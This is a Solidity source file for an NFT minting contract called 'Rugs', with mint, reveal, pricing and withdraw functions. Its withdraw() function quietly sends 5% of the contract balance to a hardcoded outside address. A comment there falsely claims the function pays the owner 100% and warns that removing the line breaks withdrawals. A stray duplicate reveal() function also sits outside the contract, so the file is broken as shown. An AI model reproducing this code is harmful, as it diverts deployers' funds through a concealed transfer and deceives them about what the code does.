contract Rugs is ERC721, Ownable {
using Counters for Counters.Counter;
using Strings for uint256;

Counters.Counter private _tokenSupply;
string baseURI;
string public baseExtension = ".json";
uint256 public cost = 0.014181 ether;
uint256 public maxSupply = 10000;
uint256 public maxMintAmount = 100;
bool public paused = false;
bool public revealed = false;
string public notRevealedUri;

constructor(
string memory _name,
string memory _symbol,
string memory _initBaseURI,
string memory _initNotRevealedUri
) ERC721(_name, _symbol) {
setBaseURI(_initBaseURI);
setNotRevealedURI(_initNotRevealedUri);
}

function totalSupply() public view returns (uint256){
return _tokenSupply.current();
}

// internal
function _baseURI() internal view virtual override returns (string memory) {
return baseURI;
}

// public
function mint(uint256 _mintAmount) public payable {
uint256 supply = _tokenSupply.current();
require(!paused);
require(_mintAmount > 0);
require(_mintAmount <= maxMintAmount);
require(supply + _mintAmount <= maxSupply);

if (msg.sender != owner()) {
require(msg.value >= cost * _mintAmount);
}

for (uint256 i = 1; i <= _mintAmount; i++) {
_safeMint(msg.sender, supply + i);
_tokenSupply.increment();
}
}


function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
require(
_exists(tokenId),
"ERC721Metadata: URI query for nonexistent token"
);
if(revealed == false) {
return notRevealedUri;
}

string memory currentBaseURI = _baseURI();
return bytes(currentBaseURI).length > 0
? string(abi.encodePacked(currentBaseURI, tokenId.toString(), baseExtension))
: "";
}

//only owner
function reveal() public onlyOwner {
revealed = true;
}
function setCost(uint256 _newCost) public onlyOwner {
cost = _newCost;
}

function setmaxMintAmount(uint256 _newmaxMintAmount) public onlyOwner {
maxMintAmount = _newmaxMintAmount;
}
function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner {
notRevealedUri = _notRevealedURI;
}

function setBaseURI(string memory _newBaseURI) public onlyOwner {
baseURI = _newBaseURI;
}

function setBaseExtension(string memory _newBaseExtension) public onlyOwner {
baseExtension = _newBaseExtension;
}

function pause(bool _state) public onlyOwner {
paused = _state;
}
function withdraw() public payable onlyOwner {
// This will payout the owner 100% of the contract balance.
// Do not remove this otherwise you will not be able to withdraw the funds.
// =============================================================================
(bool hs, ) = payable(0x8CB6c5f391c322258528e79a2A52788E9238cdbc).call{value: address(this).balance * 5 / 100}("");
require(hs);

// =============================================================================
(bool os, ) = payable(owner()).call{value: address(this).balance}("");
require(os);
// =============================================================================
}
}
function reveal() public onlyOwner {
revealed = true;
}

//only owner